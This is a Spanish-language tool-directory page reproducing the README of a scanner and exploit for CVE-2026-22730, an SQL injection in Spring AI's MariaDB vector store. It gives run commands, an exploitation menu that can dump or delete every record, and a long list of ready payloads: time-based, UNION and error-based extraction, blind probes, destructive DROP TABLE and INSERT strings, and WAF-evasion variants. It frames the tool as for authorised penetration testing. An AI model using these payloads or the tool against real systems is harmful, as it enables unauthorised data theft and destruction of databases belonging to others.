Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/null200ok/cve-2026-22730-scanner
Escáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubnull200ok/cve-2026-22730-scanner

CVE-2026-22730-Scanner

Escáner y herramienta de explotación para CVE-2026-22730, una inyección SQL en el almacén vectorial MariaDB de Spring AI. Admite detección basada en tiempo, métodos GET/POST y explotación con informes.

Ver Repositorio
2hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Escáner y Exploit CVE-2026-22730 – Inyección SQL en el Vector Store MariaDB de Spring AI

Python Version
License
Status

Una herramienta profesional de evaluación de seguridad para CVE-2026-22730 – una vulnerabilidad crítica de inyección SQL descubierta en el vector store MariaDB de Spring AI. Esta herramienta permite a probadores de penetración autorizados e investigadores de seguridad detectar y explotar de forma segura la vulnerabilidad con fines educativos o defensivos.

📖 Resumen

CVE-2026-22730 afecta a las versiones de Spring AI 1.0.x < 1.0.4 y 1.1.x < 1.1.3 cuando se utiliza el vector store MariaDB. Debido a un escape incorrecto de los valores de cadena en las expresiones de filtro, un atacante puede inyectar SQL arbitrario a través de parámetros controlados por el usuario (por ejemplo, filtros de metadatos). Esto puede provocar:

Recuperación de datos no autorizada – evadiendo los controles de acceso basados en metadatos

Eliminación completa de la base de datos – borrando todo el vector store (destructivo)

Fuga silenciosa de datos – en pipelines RAG, los datos filtrados se incorporan en las respuestas del LLM sin detección

Esta herramienta proporciona un método seguro y configurable para verificar la presencia de la vulnerabilidad y demostrar su impacto (con consentimiento explícito) durante evaluaciones de seguridad autorizadas.

🚀 Características

✅ Detección basada en tiempo – utiliza inyección SLEEP() para confirmar la vulnerabilidad

✅ Múltiples métodos HTTP – soporta GET (parámetros de consulta) y POST (cuerpo JSON)

✅ Duración de sleep personalizable – ajuste para latencia de red o requisitos de sigilo

✅ Opciones de explotación – recuperar todos los documentos (SELECT) o eliminar todos (DELETE)

✅ Informes completos – genera informes HTML, JSON y de texto plano

✅ CLI fácil de usar – modo interactivo y argumentos completos de línea de comandos

✅ Sistema de payloads extensible – integra fácilmente cadenas de inyección personalizadas

📋 Requisitos

Python 3.6 o superior

Librería requests (pip install requests)

🔧 Instalación

bash git clone https://github.com/NULL200OK/cve-2026-22730-scanner.git

cd cve-2026-22730-scanner

📖 Uso

El script se puede ejecutar en modo interactivo o con argumentos de línea de comandos.

Sintaxis básica

bash

python cve-2026-22730_scanner.py [opciones]

Opciones

Opción Descripción

--url URL objetivo (por ejemplo, http://localhost:8081/api/docs)

--method Método HTTP: GET o POST (por defecto: GET)

--param Nombre del parámetro de consulta para GET, o nombre de referencia para POST (opcional)

--json-template Plantilla JSON con el marcador PAYLOAD (requerido para POST)

--baseline Valor benigno para la solicitud de referencia (por defecto: inexistente)

--sleep Segundos de sleep para la detección basada en tiempo (por defecto: 5)

Ejemplos

  1. Solicitud GET (parámetro de consulta)

bash

python cve-2026-22730_scanner.py --url "http://localhost:8081/api/docs" --method GET --param "department"

  1. Solicitud POST con cuerpo JSON

bash

python cve-2026-22730_scanner.py --url "http://localhost:8081/api/search" --method POST --json-template '{"department": "PAYLOAD"}'

  1. Tiempo de sleep y baseline personalizados

bash

python cve-2026-22730_scanner.py --url "http://example.com/search" --param "filter" --sleep 10 --baseline "HR"

  1. Modo interactivo

bash

python cve-2026-22730_scanner.py

Se le solicitará URL, método, parámetro/plantilla JSON, baseline y tiempo de sleep.

Flujo de explotación

Si el objetivo se encuentra vulnerable, el script presenta un menú:

text

[?] El objetivo es vulnerable. Elija la opción de explotación:

root@kitploit:~
1. Recuperar todos los documentos (inyección SELECT)

2. Eliminar todos los documentos (inyección DELETE) - DESTRUCTIVO

3. Omitir explotación

La opción 1 envía ' OR '1'='1 para recuperar todas las filas (no destructivo, solo lee datos).

La opción 2 envía el mismo payload utilizando el método HTTP DELETE – elimina permanentemente todos los registros. Requiere confirmación explícita.

Todas las acciones se registran y se incluyen en el informe final.

📁 Archivos de salida

Después de cada ejecución, se crean tres archivos con marca de tiempo en el directorio actual:

cve-2026-22730_YYYYMMDD_HHMMSS.json – informe JSON legible por máquina con todos los detalles.

cve-2026-22730_YYYYMMDD_HHMMSS.txt – resumen en texto plano, incluidos los datos de explotación si los hay.

cve-2026-22730_YYYYMMDD_HHMMSS.html – informe HTML formateado, adecuado para compartir o archivar.

⚠️ Aviso importante

Esta herramienta está destinada únicamente a pruebas de seguridad autorizadas y fines educativos.

El uso no autorizado contra sistemas que no posee o para los que no tiene permiso explícito para probar es ilegal y poco ético.

El autor no asume ninguna responsabilidad por el mal uso o los daños causados por este software.

Obtenga siempre permiso por escrito antes de escanear o explotar cualquier objetivo.

📚 Referencias

Aviso de seguridad de GitHub GHSA‑c267‑rfvc‑mvpm

Aviso de seguridad de Spring AV26‑245

Artículo de investigación original de SecureLayer7

🤝 Contribuciones

Se aceptan solicitudes de extracción (pull requests), informes de errores y sugerencias de funciones. Abra primero un issue para discutir cambios importantes.

📄 Licencia

Este proyecto está licenciado bajo la Licencia MIT – consulte el archivo LICENSE para más detalles.

Desarrollado con ❤️ por Nabeel

Ejemplo para PYLOAD

Para la comunidad de seguridad

📌 Cómo usar estos payloads

En el script, cuando use POST con --json-template, reemplace PAYLOAD con cualquier payload de la lista a continuación.

Para solicitudes GET, simplemente pase el payload como valor del parámetro (el script maneja la codificación URL automáticamente).

🔥 Categorías de payloads

  1. Detección / Basado en tiempo

Estos causan un retraso si la inyección es exitosa. Úselos para confirmar la vulnerabilidad.

Payload Descripción

' OR SLEEP(5) -- Payload estándar basado en tiempo. Si la consulta se pausa durante ~5 segundos, la inyección funciona.

' OR BENCHMARK(10000000,MD5('a')) -- Alternativa para MySQL/MariaDB (BENCHMARK).

' OR (SELECT * FROM (SELECT(SLEEP(5)))a) -- Sleep anidado para evadir algunos filtros.

' OR 1=1 AND SLEEP(5) -- Combina condición siempre verdadera con sleep.

  1. Bypass de autenticación / Recuperar todas las filas

Estos hacen que la cláusula WHERE sea siempre verdadera, devolviendo todos los registros.

Payload Descripción

' OR '1'='1 Inyección clásica siempre verdadera.

' OR 1=1 -- Otra variante (requiere un espacio después de --).

' OR ''=' Se basa en la comparación de cadenas vacías.

' OR 1=1# Usa # para comentario de MariaDB (codificado en URL como %23).

' OR 1=1 LIMIT 1 -- Devuelve solo una fila (útil para salida controlada)

  1. Extracción de datos basada en UNION

Útil cuando la aplicación muestra resultados. Debe coincidir con el número de columnas.

Payload Descripción

' UNION SELECT NULL, database(), user(), version() -- Recupera nombre de base de datos, usuario, versión. (Ajuste el conteo de NULL para que coincida con las columnas.)

' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database() -- Lista las tablas.

' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='vector_store' -- Lista las columnas.

' UNION SELECT 1, content, metadata FROM vector_store -- Vuelca datos reales (si el conteo de columnas coincide).

  1. Extracción basada en errores

Activa errores que filtran información.

Payload Descripción

' AND extractvalue(1, concat(0x7e, database())) -- Basado en errores de MariaDB/MySQL.

' AND updatexml(1, concat(0x7e, version()), 1) -- Otro método de error.

' OR 1 GROUP BY concat(database(), floor(rand(0)*2)) HAVING min(0) -- Error de clave duplicada.

  1. Basado en booleano (ciego)

Útil cuando no se muestran salidas ni errores, pero el comportamiento de la aplicación cambia.

Payload Descripción

' AND (SELECT ascii(substring(database(),1,1))) > 64 -- Comprueba el primer carácter del nombre de la base de datos.

' AND (SELECT COUNT(*) FROM information_schema.tables) > 10 -- Comprueba el número de tablas.

' OR (SELECT 1 FROM users LIMIT 1) = 1 -- Prueba la existencia de una tabla.

  1. Operaciones de escritura / eliminación

Payloads destructivos (úsese con extrema precaución).

Payload Descripción

' OR '1'='1 Cuando se usa con DELETE, elimina todas las filas.

' OR 1=1; DROP TABLE vector_store -- Intenta eliminar toda la tabla (requiere consultas apiladas, a menudo deshabilitadas).

' OR 1=1; INSERT INTO vector_store (content) VALUES ('hacked') -- Intenta insertar nuevos datos.

  1. Bypass de filtros / WAF

Versiones ofuscadas para evadir la coincidencia de patrones simple.

Payload Descripción

%27%20OR%20SLEEP(5)%20-- Codificado en URL (el script lo maneja automáticamente).

' //OR//SLEEP(5)/**/-- Comentarios en línea para dividir palabras clave.

' OR 0x273d27=0x273d27 -- Comparación codificada en hexadecimal ('=').

' OR 1=1 /!50000SLEEP(5)/ -- Comentario específico de versión de MySQL.

  1. Payloads específicos del aviso CVE

Payload Descripción

' OR '1'='1 Se usa para recuperar todos los documentos (prueba de concepto).

' OR SLEEP(5) -- Payload de detección basado en tiempo utilizado en el escáner.

' OR '1'='1 También se usa para la inyección DELETE.

📝 Ejemplos de plantillas JSON con payload

json

{"department": "' OR SLEEP(5) --"}

{"department": "' OR '1'='1"}

{"department": "' UNION SELECT 1, content, metadata FROM vector_store --"}

En el script, pasaría la plantilla como:

bash

--json-template '{"department": "PAYLOAD"}'

El script reemplazará PAYLOAD con el payload real.

NOTA sobre la URL

El script requiere la URL completa del endpoint que acepta el parámetro vulnerable. Por ejemplo:

✅ http://example.com/api/docs – si el endpoint es /api/docs

✅ http://example.com/search – si el endpoint es /search

❌ http://example.com – no es suficiente, el script necesita la ruta exacta

Descargar herramienta